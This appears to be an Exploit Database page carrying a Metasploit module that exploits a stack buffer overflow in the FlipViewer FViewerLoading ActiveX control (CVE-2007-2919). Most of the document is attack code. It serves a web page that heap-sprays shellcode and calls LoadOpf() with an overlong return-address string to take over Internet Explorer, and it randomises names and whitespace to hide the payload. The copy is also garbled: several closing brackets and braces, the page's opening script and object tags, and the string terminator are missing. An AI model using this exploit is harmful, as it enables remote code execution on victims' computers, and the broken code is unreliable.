FlipViewer FViewerLoading – ActiveX Control Buffer Overflow (Metasploit)

Exploit Database
111 阅读

作者： Metasploit

日期： 2010-06-15
类别：
- remote
平台：
- windows
来源：https://www.exploit-db.com/exploits/16601/

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# $Id: ebook_flipviewer_fviewerloading.rb 9525 2010-06-15 07:18:08Z jduck $

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = NormalRanking

include Msf::Exploit::Remote::HttpServer::HTML

def initialize(info = {})

super(update_info(info,

'Name' => 'FlipViewer FViewerLoading ActiveX Control Buffer Overflow',

'Description'=> %q{

This module exploits a stack buffer overflow in E-BOOK Systems FlipViewer 4.0.

The vulnerability is caused due to a boundary error in the

FViewerLoading (FlipViewerX.dll) ActiveX control when handling the

"LoadOpf()" method.

'License'=> BSD_LICENSE,

'Author' => [ 'LSO <lso@hushmail.com>' ],

'Version'=> '$Revision: 9525 $',

'References' =>

[

[ 'CVE', '2007-2919' ],

[ 'OSVDB', '37042' ],

[ 'BID', '24328' ],

'DefaultOptions' =>

{

'EXITFUNC' => 'process',

'Payload'=>

{

'Space' => 1024,

'BadChars'=> "\x00",

'Platform' => 'win',

'Targets'=>

[

# Tested ok patrickw 20090303

[ 'Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => 0x0A0A0A0A } ],

'DisclosureDate' => 'Jun 6 2007',

'DefaultTarget'=> 0))

end

def autofilter

false

end

def check_dependencies

use_zlib

end

def on_request_uri(cli, request)

return if ((p = regenerate_payload(cli)) == nil)

shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

nops= Rex::Text.to_unescape(make_nops(4))

ret = Rex::Text.uri_encode([target.ret].pack('L'))

vname= rand_text_alpha(rand(100) + 1)

var_i= rand_text_alpha(rand(30)+ 2)

rand1= rand_text_alpha(rand(100) + 1)

rand2= rand_text_alpha(rand(100) + 1)

rand3= rand_text_alpha(rand(100) + 1)

rand4= rand_text_alpha(rand(100) + 1)

rand5= rand_text_alpha(rand(100) + 1)

rand6= rand_text_alpha(rand(100) + 1)

rand7= rand_text_alpha(rand(100) + 1)

rand8= rand_text_alpha(rand(100) + 1)

content = %Q|<html>

var #{rand1} = unescape('#{shellcode}');

var #{rand2} = unescape('#{nops}');

var #{rand3} = 20;

var #{rand4} = #{rand3} + #{rand1}.length;

while (#{rand2}.length < #{rand4}) #{rand2} += #{rand2};

var #{rand5} = #{rand2}.substring(0,#{rand4});

var #{rand6} = #{rand2}.substring(0,#{rand2}.length - #{rand4});

while (#{rand6}.length + #{rand4} < 0x40000) #{rand6} = #{rand6} + #{rand6} + #{rand5};

var #{rand7} = new Array();

for (#{var_i} = 0; #{var_i} < 400; #{var_i}++){ #{rand7}[#{var_i}] = #{rand6} + #{rand1} }

var #{rand8} = "";

for (#{var_i} = 0; #{var_i} < 1324; #{var_i}++) { #{rand8} = #{rand8} + unescape('#{ret}') }

#{vname}.LoadOpf(#{vname}, #{vname}, #{vname}, #{vname}, #{vname}, #{vname}, #{vname}, #{rand8});

</script>

</html>

content = Rex::Text.randomize_space(content)

print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")

send_response_html(cli, content)

handler(cli)

end